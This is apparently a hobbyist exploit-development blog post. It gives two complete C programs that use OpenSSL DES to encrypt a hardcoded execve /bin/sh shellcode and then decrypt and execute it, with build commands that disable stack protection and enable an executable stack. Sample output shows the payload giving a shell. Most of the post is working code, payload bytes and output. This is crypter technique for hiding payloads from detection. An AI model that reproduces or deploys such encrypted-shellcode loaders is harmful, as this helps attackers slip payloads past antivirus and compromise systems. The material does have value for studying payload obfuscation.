Encrypting Shellcode

The task is to create an encrypted shellcode, requiring a decryption key before execution. The encryption schema chosen is DES, for further information on DES see the Wikipedia article here. The language used is C along with the OpenSSL library, libssl. If a Debian based, or like, system is used you can add the relevant library with sudo apt-get install libssl-dev, from the commandline.

Two programs were created, the first, encrypt, allows a user to paste a key or password and the shellcode to be encrypted. When executed this will produce a DES encrypted version of the shellcode, which can then be pasted into the decrypt program to be decrypted and executed.

Encrypt.c, the shellcode to be encrypted is from the Insertion Encoder/Decoder blog post.

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <openssl/des.h>
 
char*
Crypt(char *key, char *msg, int size)
{
    static char *shellcode;
    int num=0;
    DES_cblock keycopy;
    DES_key_schedule schedule;
    shellcode = (char *)malloc(size);
    memcpy(keycopy, key, 8);
    DES_set_odd_parity(&keycopy);
    DES_set_key_checked(&keycopy, &schedule);
    DES_cfb64_encrypt((unsigned char *)msg, (unsigned char *)shellcode,
	size, &schedule, &keycopy, &num, DES_ENCRYPT );
    return (shellcode);
}

int 
main(int argc, char *argv[]) 
{
    char key[]="password";
    char shellcode[]="\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\x27\x74\x1f\x80\xfb\x37\x74\x1a\x80\xfb\xd7\x74\x15\x80\xfb\xef\x74\x10\x80\xfb\xc3\x74\x0b\x80\xfb\xbb\x74\x0e\x88\x1f\x47\x40\xeb\xd9\x40\xeb\xd6\xe8\xca\xff\xff\xff\x31\xc3\xc0\x27\x50\x68\xd7\x2f\x2f\xd7\x73\x68\xd7\x68\xc3\x2f\x62\x69\x27\x6e\xc3\x89\xe3\xc3\x50\x89\xe2\x27\x53\x89\xef\xe1\xb0\x0b\xc3\xcd\x37\x80\xd7\xbb";
    char *msg;
    int scSize = sizeof(shellcode)-1;
    msg = malloc(scSize);
    printf("Shellcode size:%d n",scSize);
    memcpy(msg,Crypt(key,shellcode,scSize), scSize);
    int c=0;
    printf("Encrypted text:n");
    for (c=0; c < scSize; c++)
	printf("x%.2x", (unsigned char)msg[c]);
    printf("n");
    return (0);
}

To build the code:
$ gcc encrypt.c -o encrypt -lssl
The -lssl parameter causes libssl to be linked with the code, allowing access to the DES functions.

To test the code:
$ ./encrypt
Shellcode size:96
Encrypted text:
\x87\xa8\xd6\xe6\x2e\x2c\x38\x54\xf4\x2d\x33\x06\xf0\x16\x56\xa8\x4b\x89\xa6\x82\x0a\x4e\x48\x85\xb7\x4e\x88\xb7\x2c\x63\x31\xe0\x7a\xc8\xa8\x83\xd2\xe3\x35\xd3\x47\xe6\x1d\x1e\x24\x12\x3a\x0c\xf6\x23\x0a\x0e\x91\xde\x53\x6a\x9f\x9e\x29\x9a\xce\xd5\x1c\xa4\xb8\xfb\x97\xbc\x8f\x06\xae\x65\x09\xbb\x65\xda\xf5\x05\x4e\x97\xfa\xc8\x61\xa3\x4e\x25\x97\x5e\x9a\xbf\x17\x5c\xc4\xfb\xaf\xe8

This text is then copied and pasted into the decrypt source code, obviously the same key or password must be used. When the decrypt program is run the shellcode is decrypted and then executed providing a shell.

Decrypt.c

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <openssl/des.h>

char*
Crypt(char *key, char *msg, int size)
{
    static char* shellcode;
    int num=0;
    DES_cblock keycopy;
    DES_key_schedule schedule;
    shellcode = (char *)malloc(size);
    memcpy(keycopy, key, 8);
    DES_set_odd_parity(&keycopy);
    DES_set_key_checked(&keycopy, &schedule);
    DES_cfb64_encrypt((unsigned char *)msg, (unsigned char *)shellcode,
	size, &schedule, &keycopy, &num, DES_DECRYPT );
    return (shellcode);
}

int 
main() 
{
    char key[]="password";
    char shellcode[]="\x87\xa8\xd6\xe6\x2e\x2c\x38\x54\xf4\x2d\x33\x06\xf0\x16\x56\xa8\x4b\x89\xa6\x82\x0a\x4e\x48\x85\xb7\x4e\x88\xb7\x2c\x63\x31\xe0\x7a\xc8\xa8\x83\xd2\xe3\x35\xd3\x47\xe6\x1d\x1e\x24\x12\x3a\x0c\xf6\x23\x0a\x0e\x91\xde\x53\x6a\x9f\x9e\x29\x9a\xce\xd5\x1c\xa4\xb8\xfb\x97\xbc\x8f\x06\xae\x65\x09\xbb\x65\xda\xf5\x05\x4e\x97\xfa\xc8\x61\xa3\x4e\x25\x97\x5e\x9a\xbf\x17\x5c\xc4\xfb\xaf\xe8";
    char *msg;
    int scSize = sizeof(shellcode)-1;
    msg = malloc(scSize);
    printf("Shellcode size:%d n",scSize);
    memcpy(msg,Crypt(key,shellcode,scSize), scSize);
    int c=0;
    printf("Decrypted text:n");
    for (c=0; c < scSize; c++)
        printf("x%.2x", (unsigned char)msg[c]);
    printf("nPress any key to execute shellcode");
    int k = getchar();
    int (*ret)() = (int(*)())msg;
    ret();
    return (0);
}

To build the code:
$ gcc -fno-stack-protector -z execstack -o decrypt decrypt.c -lssl
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault. The -lssl parameter causes libssl to be linked with the code, allowing access to the DES functions.

To test the code:
$ ./decrypt
Shellcode size:96
Decrypted text:
\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\x27\x74\x1f\x80\xfb\x37\x74\x1a\x80\xfb\xd7\x74\x15\x80\xfb\xef\x74\x10\x80\xfb\xc3\x74\x0b\x80\xfb\xbb\x74\x0e\x88\x1f\x47\x40\xeb\xd9\x40\xeb\xd6\xe8\xca\xff\xff\xff\x31\xc3\xc0\x27\x50\x68\xd7\x2f\x2f\xd7\x73\x68\xd7\x68\xc3\x2f\x62\x69\x27\x6e\xc3\x89\xe3\xc3\x50\x89\xe2\x27\x53\x89\xef\xe1\xb0\x0b\xc3\xcd\x37\x80\xd7\xbb
Press any key to execute shellcode
$ exit

The above two programs could of course be made more friendly and dynamic in nature, but it was the intention to keep code clear, easy to follow and/or modify. There is much more that could be done with the code. Another smaller, lighter encryption algorithm could be used allowing for decryption to be coded as a header within the shellcode itself, etc. The main aim of this task was purely for fun and I had some.